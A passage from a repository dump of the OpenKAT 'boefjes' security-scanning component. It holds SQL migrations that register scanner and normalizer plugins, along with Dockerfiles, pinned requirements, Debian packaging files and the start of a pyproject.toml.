\"IPAddressHTTPURL\"}', '{\"application/har+json\", \"application/json\", \"boefje/webpage-capture\", \"image/png\", \"application/localstorage+json\", \"application/zip+json\"}', '{\"TEST_KEY\"}', null, '{}', null, true),\n      ('wp-scan', 'WPScan', 'Scans WordPress websites.', '2', '{\"SoftwareInstance\"}', '{\"boefje/wp-scan\"}', '{\"TEST_KEY\"}', null, '{}', null, true),\n      ('pdio-subfinder', 'Subfinder', 'A subdomain discovery tool. (projectdiscovery.io). Returns valid subdomains for websites using passive online sources. Beware that many of the online sources require their own API key to get more accurate data.', '1', '{\"Hostname\"}', '{\"boefje/pdio-subfinder\"}', '{\"TEST_KEY\"}', null, '{}', null, true)\n    on conflict do nothing;\n\nINSERT INTO normalizer (\n  plugin_id,\n  name,\n  description,\n  consumes,\n  produces,\n  environment_keys,\n  version,\n  static\n) values\n      ('kat_adr_finding_types_normalize', 'API Design Rules (ADR) Finding Types', 'Parse API Design Rules (ADR) finding types.', '{\"boefje/adr-finding-types\", \"normalizer/kat_adr_finding_types_normalize\"}', '{\"ADRFindingType\"}', '{\"TEST_KEY\"}', null, true),\n      ('adr-validator-normalize', 'API Design Rules validator', 'Parses and validates the API Design Rules (ADR). https://www.forumstandaardisatie.nl/open-standaarden/rest-api-design-rules', '{\"boefje/adr-validator\", \"normalizer/adr-validator-normalize\"}', '{\"APIDesignRule\", \"APIDesignRuleResult\", \"ADRFindingType\", \"Finding\"}', '{\"TEST_KEY\"}', null, true),\n      ('kat_answer_parser', 'Answer Parser', 'Parses the answers from ''Config'' objects. Config OOIs are used when your policies and objects need different treatment from the usual setup.', '{\"answer\", \"normalizer/kat_answer_parser\"}', '{\"Config\"}', '{\"TEST_KEY\"}', null, true),\n      ('kat_binaryedge_containers', 'BinaryEdge containers', 'Parse BinaryEdge data to check if Kubernetes hosts have any vulnerabilities. Creates ''VERIFIED-VULNERABILITY'' findings.', '{\"boefje/binaryedge\", \"normalizer/kat_binaryedge_containers\"}', '{\"KATFindingType\", \"SoftwareInstance\", \"Service\", \"IPPort\", \"Finding\", \"Software\", \"IPService\", \"CVEFindingType\"}', '{\"TEST_KEY\"}', null, true),\n      ('kat_binaryedge_databases', 'BinaryEdge databases', 'Parses BinaryEdge data to check if any Cassandra, ElasticSearch, Memcached, MongoDB and Redis servers are identified and parses the version number. Create ''EXPOSED-SOFTWARE'' findings.', '{\"boefje/binaryedge\", \"normalizer/kat_binaryedge_databases\"}', '{\"KATFindingType\", \"SoftwareInstance\", \"Service\", \"IPPort\", \"Finding\", \"Software\", \"IPService\", \"CVEFindingType\"}', '{\"TEST_KEY\"}', null, true),\n      ('kat_binaryedge_http_web', 'BinaryEdge Websites', 'Parses BinaryEdge data to check for AWS secrets, F5 BIG IP loadbalancers and Citrix NetScaler.', '{\"boefje/binaryedge\", \"normalizer/kat_binaryedge_http_web\"}', '{\"KATFindingType\", \"SoftwareInstance\", \"Service\", \"IPPort\", \"Finding\", \"Software\", \"IPService\", \"CVEFindingType\"}', '{\"TEST_KEY\"}', null, true),\n      ('kat_binaryedge_message_queues', 'BinaryEdge message queues', 'Parses BinaryEdge data to check for message queues (mqtt) servers. Creates the finding ''EXPOSED-SOFTWARE'' if mqtt servers are found.', '{\"boefje/binaryedge\", \"normalizer/kat_binaryedge_message_queues\"}', '{\"KATFindingType\", \"SoftwareInstance\", \"Service\", \"IPPort\", \"Finding\", \"Software\", \"IPService\", \"CVEFindingType\"}', '{\"TEST_KEY\"}', null, true),\n      ('kat_binaryedge_protocols', 'BinaryEdge SSL/TLS protocols', 'Parses BinaryEdge data to check for various vulnerabilities within SSL/TLS protocols, such as Heartbleed, Secure Renegotiation and SSL Compression.', '{\"boefje/binaryedge\", \"normalizer/kat_binaryedge_protocols\"}', '{\"KATFindingType\", \"SoftwareInstance\", \"Service\", \"IPPort\", \"Finding\", \"Software\", \"IPService\", \"CVEFindingType\"}', '{\"TEST_KEY\"}', null, true),\n      ('kat_binaryedge_remote_desktop', 'Binary Edge remote desktop', 'Parses BinaryEdge data to check for remote desktop services such as RDP, VNC and X11. Creates ''EXPOSED-SOFTWARE'' findings.', '{\"boefje/binaryedge\", \"normalizer/kat_binaryedge_remote_desktop\"}', '{\"KATFindingType\", \"SoftwareInstance\", \"Service\", \"IPPort\", \"Finding\", \"Software\", \"IPService\", \"CVEFindingType\"}', '{\"TEST_KEY\"}', null, true),\n      ('kat_binaryedge_service_identification', 'BinaryEdge service identification', 'Parses BinaryEdge data to check if Software is present that is known for malware.', '{\"boefje/binaryedge\", \"normalizer/kat_binaryedge_service_identification\"}', '{\"KATFindingType\", \"SoftwareInstance\", \"Service\", \"IPPort\", \"Finding\", \"Software\", \"IPService\", \"CVEFindingType\"}', '{\"TEST_KEY\"}', null, true),\n      ('kat_binaryedge_services', 'BinaryEdge services', 'Parses BinaryEdge data to check for services such as SSH, rsync, FTP, telnet and SMB.', '{\"boefje/binaryedge\", \"normalizer/kat_binaryedge_services\"}', '{\"KATFindingType\", \"SoftwareInstance\", \"Service\", \"IPPort\", \"Finding\", \"Software\", \"IPService\", \"CVEFindingType\"}', '{\"TEST_KEY\"}', null, true),\n      ('kat_burpsuite_normalize', 'Burpsuite normalizer', 'Parses Burpsuite XML output into findings. Check https://docs.openkat.nl/manual/normalizers.html#burp-suite on how to create the XML file.', '{\"xml/burp-export\", \"normalizer/kat_burpsuite_normalize\"}', '{\"Finding\", \"IPPort\", \"CVEFindingType\"}', '{\"TEST_KEY\"}', null, true),\n      ('calvin-normalize', 'Calvin', 'Produces applications and incidents for Calvin.', '{\"boefje/calvin\", \"normalizer/calvin-normalize\"}', '{\"Application\", \"Incident\"}', '{\"TEST_KEY\"}', null, true),\n      ('kat_censys_normalize', 'Censys', 'Parses Cencys data into objects that can be used by other boefjes and normalizers. Can create ports, certificates, software, websites and headers. Doesn''t create findings.', '{\"boefje/censys\", \"normalizer/kat_censys_normalize\"}', '{\"IPPort\", \"X509Certificate\", \"SoftwareInstance\", \"ResolvedHostname\", \"HTTPHeader\"}', '{\"TEST_KEY\"}', null, true),\n      ('kat_crt_sh_normalize', 'Certificate Transparency logs (crt.sh)', 'Parses data from certificate transparency logs (crt.sh) into hostnames and X509 certificates.', '{\"boefje/certificate-search\", \"normalizer/kat_crt_sh_normalize\"}', '{\"Hostname\", \"X509Certificate\"}', '{\"TEST_KEY\"}', null, true),\n      ('kat_CVE_2023_35078_normalize', 'CVE-2023-35078 Ivanti EPMM', 'Checks if the Ivanti EPMM website is vulnerable to CVE-2023-35078. Produces a finding if it is vulnerable.', '{\"boefje/CVE_2023_35078\", \"normalizer/kat_CVE_2023_35078_normalize\"}', '{\"Finding\", \"CVEFindingType\"}', '{\"TEST_KEY\"}', null, true),\n      ('kat_cve_2024_6387_normalize', 'CVE-2024-6387 OpenSSH', 'Checks the service banner for a race condition in OpenSSH server which can result in an unauthenticated remote attacker to trigger that some signals are handled in an unsafe manner (CVE-2024-6387). Requires the Service-Banner-boefje to be enabled.', '{\"openkat/service-banner\", \"normalizer/kat_cve_2024_6387_normalize\"}', '{\"Finding\", \"CVEFindingType\"}', '{\"TEST_KEY\"}', null, true),\n      ('kat_cve_finding_types_normalize', 'CVE finding types', 'Parses Common Vulnerability Exposures (CVE) into findings.', '{\"boefje/cve-finding-types\", \"normalizer/kat_cve_finding_types_normalize\"}', '{\"CVEFindingType\"}', '{\"TEST_KEY\"}', null, true),\n      ('kat_cwe_finding_types_normalize', 'CWE finding', 'Parses Common Weakness Enumeration (CWE) into findings.', '{\"boefje/cwe-finding-types\", \"normalizer/kat_cwe_finding_types_normalize\"}', '{\"CWEFindingType\"}', '{\"TEST_KEY\"}', null, true),\n      ('kat_dicom_normalize', 'DICOM servers', 'Parses medical imaging data (DICOM) into findings and identified software.', '{\"boefje/dicom\", \"normalizer/kat_dicom_normalize\"}', '{\"KATFindingType\", \"SoftwareInstance\", \"IPPort\", \"Finding\", \"Software\"}', '{\"TEST_KEY\"}', null, true),\n      ('kat_dns_normalize', 'DNS records', 'Parses DNS records. Can parse A, AAAA, CAA, CNAME, MX, NS, SOA, TXT, DKIM and DMARC data.', '{\"boefje/dns-records\", \"normalizer/kat_dns_normalize\"}', '{\"IPAddressV6\", \"DNSARecord\", \"DNSNSRecord\", \"DNSTXTRecord\", \"DNSSOARecord\", \"NXDOMAIN\", \"DNSCNAMERecord\", \"DNSMXRecord\", \"Hostname\", \"Network\", \"DNSAAAARecord\", \"IPAddressV4\", \"DNSZone\"}', '{\"TEST_KEY\"}', null, true),\n      ('kat_dns_zone_normalize', 'DNS zone', 'Parses the parent DNS zone into new hostnames and DNS zones.', '{\"boefje/dns-zone\", \"normalizer/kat_dns_zone_normalize\"}', '{\"Hostname\", \"DNSZone\", \"DNSSOARecord\"}', '{\"TEST_KEY\"}', null, true),\n      ('kat_dnssec_normalize', 'DNSSEC', 'Parses DNSSEC data into findings.', '{\"boefje/dns-sec\", \"openkat/dnssec-output\", \"normalizer/kat_dnssec_normalize\"}', '{\"KATFindingType\", \"Finding\"}', '{\"TEST_KEY\"}', null, true),\n      ('kat_external_db_normalize', 'External database hosts fetcher', 'Parse the fetched host data from the external database into hostnames and IP-addresses.', '{\"boefje/external_db\", \"normalizer/kat_external_db_normalize\"}', '{\"Hostname\", \"IPAddressV4\", \"IPV4NetBlock\", \"IPAddressV6\", \"IPV6NetBlock\"}', '{\"TEST_KEY\"}', null, true),\n      ('kat_fierce_normalize', 'Fierce', 'Parse the DNS reconnaissance data from Fierce into hostnames and/or IP addresses.', '{\"boefje/fierce\", \"normalizer/kat_fierce_normalize\"}', '{\"IPAddressV6\", \"DNSARecord\", \"Hostname\", \"DNSAAAARecord\", \"IPAddressV4\"}', '{\"TEST_KEY\"}', null, true),\n      ('kat_generic_finding_normalize', 'Finding types', 'Parses data to create (CVE) Findings.', '{\"openkat/finding\", \"normalizer/kat_generic_finding_normalize\"}', '{\"Finding\", \"CVEFindingType\"}', '{\"TEST_KEY\"}', null, true),\n      ('kat_green_hosting_normalize', 'Green Hosting', 'Parses the Green Hosting output into findings.', '{\"boefje/green-hosting\", \"normalizer/kat_green_hosting_normalize\"}', '{\"KATFindingType\", \"Finding\"}', '{\"TEST_KEY\"}', null, true),\n      ('kat_kat_finding_types_normalize', 'KAT finding types', 'Parses KAT finding types.', '{\"boefje/kat-finding-types\", \"normalizer/kat_kat_finding_types_normalize\"}', '{\"KATFindingType\"}', '{\"TEST_KEY\"}', null, true),\n      ('kat_leakix_normalize', 'LeakIX', 'Parses the LeakIX output into findings and identified software and services.', '{\"boefje/leakix\", \"normalizer/kat_leakix_normalize\"}', '{\"KATFindingType\", \"SoftwareInstance\", \"Service\", \"IPPort\", \"Finding\", \"Software\", \"IPService\", \"CVEFindingType\"}', '{\"TEST_KEY\"}', null, true),\n      ('kat_manual_csv', 'Manual CSV', 'Parses uploaded CSV files into objects.', '{\"manual/csv\", \"normalizer/kat_manual_csv\"}', '{\"OOI\"}', '{\"TEST_KEY\"}', null, true),\n      ('kat_manual_ooi', 'Manual OOI normalizer', 'Parses manually added objects.', '{\"manual/ooi\", \"normalizer/kat_manual_ooi\"}', '{\"OOI\"}', '{\"TEST_KEY\"}', null, true),\n      ('kat_masscan_normalize', 'masscan', 'Parse output from masscan into open ports for each scanned IP.', '{\"boefje/masscan\", \"normalizer/kat_masscan_normalize\"}', '{\"IPAddressV4\", \"IPAddressV6\", \"IPPort\"}', '{\"TEST_KEY\"}', null, true),\n      ('kat_nikto_normalize', 'Nikto', null, '{\"boefje/nikto-output\", \"normalizer/kat_nikto_normalize\"}', '{\"Software\", \"SoftwareInstance\", \"Finding\", \"KATFindingType\"}', '{\"TEST_KEY\"}', null, true),\n      ('kat_nmap_normalize', 'nmap', 'Parses data from all nmap variants into IP-addresses, ports and services.', '{\"boefje/nmap\", \"boefje/nmap-udp\", \"boefje/nmap-ports\", \"boefje/nmap-ip-range\", \"openkat/nmap-output\", \"normalizer/kat_nmap_normalize\"}', '{\"IPAddressV6\", \"Service\", \"IPPort\", \"IPAddressV4\", \"IPService\"}', '{\"TEST_KEY\"}', null, true),\n      ('kat_nuclei_cve_normalize', 'Nuclei CVE', 'Parses Nuclei CVE data into findings.', '{\"boefje/nuclei-cve\", \"normalizer/kat_nuclei_cve_normalize\"}', '{\"Finding\", \"CVEFindingType\"}', '{\"TEST_KEY\"}', null, true),\n      ('kat_nuclei_exposed_panels_normalize', 'Nuclei exposed admin panels', 'Parses Nuclei of exposed panels into findings.', '{\"boefje/nuclei-exposed-panels\", \"normalizer/kat_nuclei_exposed_panels_normalize\"}', '{\"Finding\", \"KATFindingType\"}', '{\"TEST_KEY\"}', null, true),\n      ('kat_nuclei_takeover_normalize', 'Nuclei takeover', 'Parses Nuclei takeover data into findings.', '{\"boefje/nuclei-takeover\", \"normalizer/kat_nuclei_takeover_normalize\"}', '{\"Finding\", \"KATFindingType\"}', '{\"TEST_KEY\"}', null, true),\n      ('kat_rdns_normalize', 'Reverse DNS', 'Parses reverse DNS data into PTR records.', '{\"boefje/rdns\", \"normalizer/kat_rdns_normalize\"}', '{\"DNSPTRRecord\"}', '{\"TEST_KEY\"}', null, true),\n      ('kat_report_data', 'Report data', 'Parses (uploaded) report data to create reports.', '{\"openkat/report-data\", \"normalizer/kat_report_data\"}', '{\"ReportData\"}', '{\"TEST_KEY\"}', null, true),\n      ('kat_retirejs_finding_types_normalize', 'RetireJS finding types', 'Parses RetireJS data into findings.', '{\"boefje/retirejs-finding-types\", \"normalizer/kat_retirejs_finding_types_normalize\"}', '{\"RetireJSFindingType\"}', '{\"TEST_KEY\"}', null, true),\n      ('kat_rpki_normalize', 'RPKI', 'Parses RPKI data into findings.', '{\"rpki/results\", \"normalizer/kat_rpki_normalize\"}', '{\"Finding\", \"KATFindingType\"}', '{\"TEST_KEY\"}', null, true),\n      ('kat_sec_txt_downloader_normalize', 'Security.txt downloader', 'Parses the downloaded security.txt data from a website.', '{\"boefje/security_txt_downloader\", \"normalizer/kat_sec_txt_downloader_normalize\"}', '{\"SecurityTXT\", \"Website\", \"URL\"}', '{\"TEST_KEY\"}', null, true),\n      ('kat_shodan_normalize', 'Shodan', 'Parses Shodan data into (CVE) findings and ports.', '{\"boefje/shodan\", \"normalizer/kat_shodan_normalize\"}', '{\"Finding\", \"IPPort\", \"CVEFindingType\"}', '{\"TEST_KEY\"}', null, true),\n      ('kat_snyk_normalize', 'Snyk.io', 'Parses Snyk.io data into various findings.', '{\"boefje/snyk\", \"normalizer/kat_snyk_normalize\"}', '{\"Finding\", \"KATFindingType\", \"SnykFindingType\", \"CVEFindingType\"}', '{\"TEST_KEY\"}', null, true),\n      ('kat_snyk_finding_types_normalize', 'Snyk.io finding types', 'Parses Snyk.io data into Finding Types. Required for the Snyk Normalizer.', '{\"boefje/snyk-finding-types\", \"normalizer/kat_snyk_finding_types_normalize\"}', '{\"SnykFindingType\"}', '{\"TEST_KEY\"}', null, true),\n      ('kat_ssl_certificates_normalize', 'SSL certificates', 'Parses SSL certificates data into X509 certificates.', '{\"boefje/ssl-certificates\", \"normalizer/kat_ssl_certificates_normalize\"}', '{\"X509Certificate\"}', '{\"TEST_KEY\"}', null, true),\n      ('kat_ssl_scan_normalize', 'SSL scan', 'Parses SSL scan version data into findings.', '{\"boefje/ssl-version\", \"normalizer/kat_ssl_scan_normalize\"}', '{\"KATFindingType\", \"Finding\"}', '{\"TEST_KEY\"}', null, true),\n      ('kat_ssl_test_ciphers_normalize', 'SSL test ciphers', 'Parses TestSSL data into TLS ciphers.', '{\"boefje/testssl-sh-ciphers\", \"normalizer/kat_ssl_test_ciphers_normalize\"}', '{\"TLSCipher\"}', '{\"TEST_KEY\"}', null, true),\n      ('kat_wappalyzer_normalize', 'Wappalyzer', 'Checks HTTP responses for Software versions.', '{\"application/json+har\", \"normalizer/kat_wappalyzer_normalize\"}', '{\"Software\", \"SoftwareInstance\"}', '{\"TEST_KEY\"}', null, true),\n      ('kat_check_images', 'Webpage analysis check images for metadata', 'Checks images for metadata.', '{\"image/jpeg\", \"image/jpg\", \"image/gif\", \"image/png\", \"image/bpm\", \"image/ico\", \"normalizer/kat_check_images\"}', '{\"ImageMetadata\"}', '{\"TEST_KEY\"}', null, true),\n      ('kat_find_images_in_html', 'Webpage analysis find images in html', 'Parses websites to find images.', '{\"text/html\", \"normalizer/kat_find_images_in_html\"}', '{\"HTTPResource\"}', '{\"TEST_KEY\"}', null, true),\n      ('kat_webpage_analysis_headers_normalize', 'Webpage analysis HTTP headers', 'Parses the HTTP headers from websites.', '{\"openkat-http/headers\", \"normalizer/kat_webpage_analysis_headers_normalize\"}', '{\"HTTPHeader\"}', '{\"TEST_KEY\"}', null, true),\n      ('kat_wpscan_normalize', 'WPscan', 'Creates findings from WPscan data.', '{\"boefje/wp-scan\", \"normalizer/kat_wpscan_normalize\"}', '{\"Finding\", \"CVEFindingType\"}', '{\"TEST_KEY\"}', null, true),\n      ('pdio-subfinder-normalizer', 'PDIO subfinder', 'Parses ProjectDiscovery subfinder data for finding subdomains.', '{\"boefje/pdio-subfinder\", \"normalizer/pdio-subfinder-normalizer\"}', '{\"Hostname\"}', '{\"TEST_KEY\"}', null, true)\n    on conflict do nothing;\n\nINSERT INTO boefje_config (settings, boefje_id, organisation_pk)\nSELECT s.values, b.id, s.organisation_pk FROM settings s\nJOIN boefje b on s.plugin_id = b.plugin_id;\n\nINSERT INTO boefje_config (enabled, boefje_id, organisation_pk)\nSELECT p.enabled, b.id, p.organisation_pk FROM plugin_state p\n  JOIN boefje b ON p.plugin_id = b.plugin_id\n  LEFT JOIN boefje_config bc ON bc.boefje_id = b.id\nWHERE bc.boefje_id IS NULL;\n\nINSERT INTO normalizer_config (enabled, normalizer_id, organisation_pk)\nSELECT p.enabled, n.id, p.organisation_pk FROM plugin_state p\n  JOIN normalizer n ON p.plugin_id = n.plugin_id\n  LEFT JOIN normalizer_config nc ON nc.normalizer_id = n.id WHERE nc.normalizer_id IS NULL;\n\nUPDATE boefje_config bc SET enabled = p.enabled FROM plugin_state p\n  JOIN boefje b ON p.plugin_id = b.plugin_id\nWHERE b.id = bc.boefje_id AND p.organisation_pk = bc.organisation_pk;\n\nUPDATE normalizer_config nc SET enabled = p.enabled FROM plugin_state p\n  JOIN normalizer n ON p.plugin_id = n.plugin_id\nWHERE n.id = nc.normalizer_id AND p.organisation_pk = nc.organisation_pk;\n\n-- End of backward compatibility changes, we can safely drop the old tables.\n\nDROP TABLE settings;\nDROP TABLE plugin_state;\n"
  },
  {
    "path": "boefjes/export_migrations/0009_5be152459a7b_introduce_schema_field_to_boefje_model.sql",
    "content": "ALTER TABLE boefje ADD COLUMN schema JSON;\n"
  },
  {
    "path": "boefjes/export_migrations/0010_870fc302b852_remove_environment_keys_field.sql",
    "content": "ALTER TABLE boefje DROP COLUMN environment_keys;\nALTER TABLE normalizer DROP COLUMN environment_keys;\n"
  },
  {
    "path": "boefjes/export_migrations/0011_a2c8d54b0124_unique_plugin_names.sql",
    "content": "ALTER TABLE boefje ADD CONSTRAINT unique_boefje_name UNIQUE (name);\nALTER TABLE normalizer ADD CONSTRAINT unique_normalizer_name UNIQUE (name);\n"
  },
  {
    "path": "boefjes/export_migrations/0012_9f48560b0000_add_schedule_interval_fields.sql",
    "content": "ALTER TABLE boefje ADD COLUMN cron VARCHAR(128);\nALTER TABLE boefje ADD COLUMN interval INTEGER;\n"
  },
  {
    "path": "boefjes/export_migrations/0013_fc0295b38184_add_run_on_field_to_boefje.sql",
    "content": "CREATE TYPE run_on AS ENUM ('create', 'update', 'create_update');\nALTER TABLE boefje ADD COLUMN run_on run_on;\n"
  },
  {
    "path": "boefjes/export_migrations/0014_fdeaea4481b8_add_deduplication_flag.sql",
    "content": "ALTER TABLE boefje ADD COLUMN deduplicate BOOLEAN DEFAULT 'true' NOT NULL;\nALTER TABLE organisation ADD COLUMN deduplicate BOOLEAN DEFAULT 'true' NOT NULL;\n"
  },
  {
    "path": "boefjes/images/base.Dockerfile",
    "content": "FROM python:3.13-slim AS base\n\nARG BOEFJES_API=http://boefje:8000\nENV BOEFJES_API=$BOEFJES_API\nENV PYTHONPATH=/app/boefje:/app\n\nWORKDIR /app/boefje\nRUN adduser --disabled-password --gecos '' nonroot\n\nCOPY ./images/requirements.txt ./requirements.txt\nRUN --mount=type=cache,target=/root/.cache pip install --upgrade pip && pip install -r requirements.txt\n\nUSER nonroot\n\nCOPY ./boefjes/worker ./worker\nCOPY ./boefjes/logging.json logging.json\n\nENTRYPOINT [\"/usr/local/bin/python\", \"-m\", \"worker\"]\nCMD []\n\nFROM base AS builder\n\nARG BOEFJE_PATH\n\nCOPY $BOEFJE_PATH/requirements.txt* .\nRUN if test -f requirements.txt; then pip install -r requirements.txt; fi\n\nCOPY $BOEFJE_PATH .\n\nFROM base\n"
  },
  {
    "path": "boefjes/images/base.Dockerfile.dockerignore",
    "content": "**/__pycache__\n**/boefje.Dockerfile*\n**/description.md\n**/cover.jpg\n**/normalize.py\n**/normalizer.json\n"
  },
  {
    "path": "boefjes/images/generic.Dockerfile",
    "content": "FROM openkat/boefje-base:latest\n\nARG OCI_IMAGE=docker.underdark.nl/librekat/openkat-generic:latest\nENV OCI_IMAGE=$OCI_IMAGE\n\nENV PATH=/home/nonroot/.local/bin:${PATH}\n\nENV OPENKAT_CACHE_PATH=/home/nonroot/openkat_cache\nRUN mkdir \"$OPENKAT_CACHE_PATH\" && chown nonroot: \"$OPENKAT_CACHE_PATH\"\nVOLUME /home/nonroot/openkat_cache\n\nCOPY --chown=nonroot boefjes/plugins/kat_adr_finding_types boefjes/plugins/kat_adr_finding_types\nCOPY --chown=nonroot boefjes/plugins/kat_binaryedge boefjes/plugins/kat_binaryedge\nCOPY --chown=nonroot boefjes/plugins/kat_censys boefjes/plugins/kat_censys\nCOPY --chown=nonroot boefjes/plugins/kat_crt_sh boefjes/plugins/kat_crt_sh\nCOPY --chown=nonroot boefjes/plugins/kat_cve_2023_34039 boefjes/plugins/kat_cve_2023_34039\nCOPY --chown=nonroot boefjes/plugins/kat_cve_2023_35078 boefjes/plugins/kat_cve_2023_35078\nCOPY --chown=nonroot boefjes/plugins/kat_cve_finding_types boefjes/plugins/kat_cve_finding_types\nCOPY --chown=nonroot boefjes/plugins/kat_cwe_finding_types boefjes/plugins/kat_cwe_finding_types\nCOPY --chown=nonroot boefjes/plugins/kat_dicom boefjes/plugins/kat_dicom\nCOPY --chown=nonroot boefjes/plugins/kat_dns boefjes/plugins/kat_dns\nCOPY --chown=nonroot boefjes/plugins/kat_dns_version boefjes/plugins/kat_dns_version\nCOPY --chown=nonroot boefjes/plugins/kat_dns_zone boefjes/plugins/kat_dns_zone\nCOPY --chown=nonroot boefjes/plugins/kat_external_db boefjes/plugins/kat_external_db\nCOPY --chown=nonroot boefjes/plugins/kat_fierce boefjes/plugins/kat_fierce\nCOPY --chown=nonroot boefjes/plugins/kat_green_hosting boefjes/plugins/kat_green_hosting\nCOPY --chown=nonroot boefjes/plugins/kat_kat_finding_types boefjes/plugins/kat_kat_finding_types\nCOPY --chown=nonroot boefjes/plugins/kat_leakix boefjes/plugins/kat_leakix\nCOPY --chown=nonroot boefjes/plugins/kat_maxmind_geoip boefjes/plugins/kat_maxmind_geoip\nCOPY --chown=nonroot boefjes/plugins/kat_rdns boefjes/plugins/kat_rdns\nCOPY --chown=nonroot boefjes/plugins/kat_retirejs_finding_types boefjes/plugins/kat_retirejs_finding_types\nCOPY --chown=nonroot boefjes/plugins/kat_rpki boefjes/plugins/kat_rpki\nCOPY --chown=nonroot boefjes/plugins/kat_security_txt_downloader boefjes/plugins/kat_security_txt_downloader\nCOPY --chown=nonroot boefjes/plugins/kat_service_banner boefjes/plugins/kat_service_banner\nCOPY --chown=nonroot boefjes/plugins/kat_shodan boefjes/plugins/kat_shodan\nCOPY --chown=nonroot boefjes/plugins/kat_shodan_internetdb boefjes/plugins/kat_shodan_internetdb\nCOPY --chown=nonroot boefjes/plugins/kat_snyk boefjes/plugins/kat_snyk\nCOPY --chown=nonroot boefjes/plugins/kat_snyk_finding_types boefjes/plugins/kat_snyk_finding_types\nCOPY --chown=nonroot boefjes/plugins/kat_webpage_analysis boefjes/plugins/kat_webpage_analysis\nCOPY --chown=nonroot boefjes/plugins/__init__.py boefjes/plugins/__init__.py\nCOPY --chown=nonroot boefjes/__init__.py boefjes/__init__.py\n\nRUN find ./boefjes -name 'requirements.txt' -execdir sh -c \"cat {} && echo\" \\; | sort -u > /tmp/boefjes-requirements.txt\nRUN --mount=type=cache,target=/root/.cache pip install setuptools==78.1.0 && pip install -r /tmp/boefjes-requirements.txt\n"
  },
  {
    "path": "boefjes/images/generic.Dockerfile.dockerignore",
    "content": "**/__pycache__\n**/boefje.Dockerfile*\n**/description.md\n**/cover.jpg\n**/normalize.py\n**/normalizer.json\n"
  },
  {
    "path": "boefjes/images/requirements.txt",
    "content": "annotated-types==0.7.0\nanyio==4.9.0\nattrs==25.3.0\ncertifi==2025.6.15\nclick==8.2.1\ncroniter==6.0.0\nh11==0.16.0\nhttpcore==1.0.9\nhttpx==0.28.1\nidna==3.15\njsonschema==4.24.0\njsonschema-specifications==2025.4.1\npydantic==2.11.7\npydantic_core==2.33.2\npython-dateutil==2.9.0.post0\npytz==2025.2\nreferencing==0.36.2\nrpds-py==0.26.0\nsix==1.17.0\nsniffio==1.3.1\nstructlog==25.4.0\ntyping-inspection==0.4.1\ntyping_extensions==4.14.0\n"
  },
  {
    "path": "boefjes/packaging/deb/Makefile",
    "content": "#!/usr/bin/make -f\nprefix=/usr\n\nall:\n\ninstall:\n\tcd data && find . -type f -exec install -D \"{}\" \"$(DESTDIR)/{}\" \\;\n\nclean:\n\ndistclean: clean\n\nuninstall:\n\t-rm -rf $(DESTDIR)/usr/share/kat-boefjes\n\n.PHONY: all install clean distclean uninstall\n"
  },
  {
    "path": "boefjes/packaging/deb/data/etc/kat/boefjes.conf",
    "content": "# OCTOPOES_API=http://localhost:8001\n# BYTES_API=http://localhost:8002\nBYTES_USERNAME=bytes\nBYTES_PASSWORD=\n\nKATALOGUS_DB_URI=\n# KATALOGUS_API=http://localhost:8003\n# SCHEDULER_API=http://localhost:8004\n\n# BOEFJES_LOG_CFG=/etc/kat/boefjes.logging.json\n"
  },
  {
    "path": "boefjes/packaging/deb/data/etc/kat/boefjes.logging.json",
    "content": "{\n  \"version\": 1,\n  \"disable_existing_loggers\": 0,\n  \"formatters\": {\n    \"default\": {\n      \"format\": \"%(asctime)s [%(process)d] [%(levelname)s] [%(module)s] %(message)s\",\n      \"datefmt\": \"[%Y-%m-%d %H:%M:%S %z]\"\n    }\n  },\n  \"handlers\": {\n    \"console\": {\n      \"class\": \"logging.StreamHandler\",\n      \"formatter\": \"default\",\n      \"level\": \"INFO\",\n      \"stream\": \"ext://sys.stdout\"\n    }\n  },\n  \"root\": {\n    \"level\": \"INFO\",\n    \"handlers\": [\n      \"console\"\n    ]\n  },\n  \"loggers\": {\n    \"uvicorn\": {\n      \"level\": \"INFO\",\n      \"propagate\": 0,\n      \"handlers\": [\n        \"console\"\n      ]\n    }\n  }\n}\n"
  },
  {
    "path": "boefjes/packaging/deb/data/etc/kat/katalogus.gunicorn.conf.py",
    "content": "workers = 3\nbind = [\"127.0.0.1:8003\"]\n"
  },
  {
    "path": "boefjes/packaging/deb/data/usr/bin/update-katalogus-db",
    "content": "#!/bin/bash\n\nset -ae\nsource /usr/lib/kat/boefjes.defaults\nsource /etc/kat/boefjes.conf\ncd /opt/venvs/kat-boefjes/lib/python*/site-packages\n\n/opt/venvs/kat-boefjes/bin/python -m alembic --config boefjes/alembic.ini upgrade head\n"
  },
  {
    "path": "boefjes/packaging/scripts/build-debian-package.sh",
    "content": "#!/bin/bash\n\nset -e\n\n# TODO: generate proper changelog\necho \"Create changelog file\"\ncat > debian/changelog << EOF\n${PKG_NAME} (${RELEASE_VERSION}) unstable; urgency=low\n  * view changes: https://github.com/${REPOSITORY}/releases/tag/${RELEASE_TAG}\n\n -- OpenKAT <maintainer@openkat.nl>  $(LANG=C date -R)\n\nEOF\n\ndpkg-buildpackage -us -uc -b\n\nmv /\"${PKG_NAME}\"_\"${RELEASE_VERSION}\"_*.deb /app/build/\n"
  },
  {
    "path": "boefjes/pyproject.toml",
    "content": "[project]\nname = \"boefjes\"\nversion = \"0.0.1.dev1\"\ndescription = \"KAT's pentest tool runtime\"\nauthors = [{ name = \"MinVWS\", email = \"maintainer@openkat.nl\" }]\nrequires-python = \">=3.10\"\nlicense = \"EUPL-1.2\"\ndependencies = [\n    \"alembic~=1.8\",\n    \"click>=8.1.3,<9\",\n    \"jsonschema>=4.17.0,<5\",\n    \"pydantic>=2.7.1,<3\",\n    \"docker>=7.1.0,<8\",\n    \"uvicorn>=0.29.0,<0.30\",\n    \"psycopg2-binary>=2.9.10\",\n    \"pynacl>=1.5.0,<2\",\n    \"sqlalchemy>=1.4.48\",\n    \"python-dateutil>=2.8.2,<3\",\n    \"pydantic-settings>=2.2.1,<3\",\n    \"opentelemetry-sdk\",\n    \"opentelemetry-exporter-otlp-proto-grpc\",\n    \"opentelemetry-instrumentation-fastapi\",\n    \"opentelemetry-instrumentation-psycopg2\",\n    \"opentelemetry-instrumentation-requests\",\n    \"opentelemetry-instrumentation\",\n    \"requests>=2.33.0,<3\",\n    \"beautifulsoup4==4.11.1\",\n    \"dnspython>=2.6.1,<3\",\n    \"tldextract>5\",\n    \"validators==0.20.0\",\n    \"python-libnmap==0.7.3\",\n    \"cryptography>=46.0.6\",\n    \"forcediphttpsadapter==1.1.0\",\n    \"urllib3>=2.1.0,<3\",\n    \"wpscan-out-parse==1.9.3\",\n    \"netaddr>=1.3.0,<2\",\n    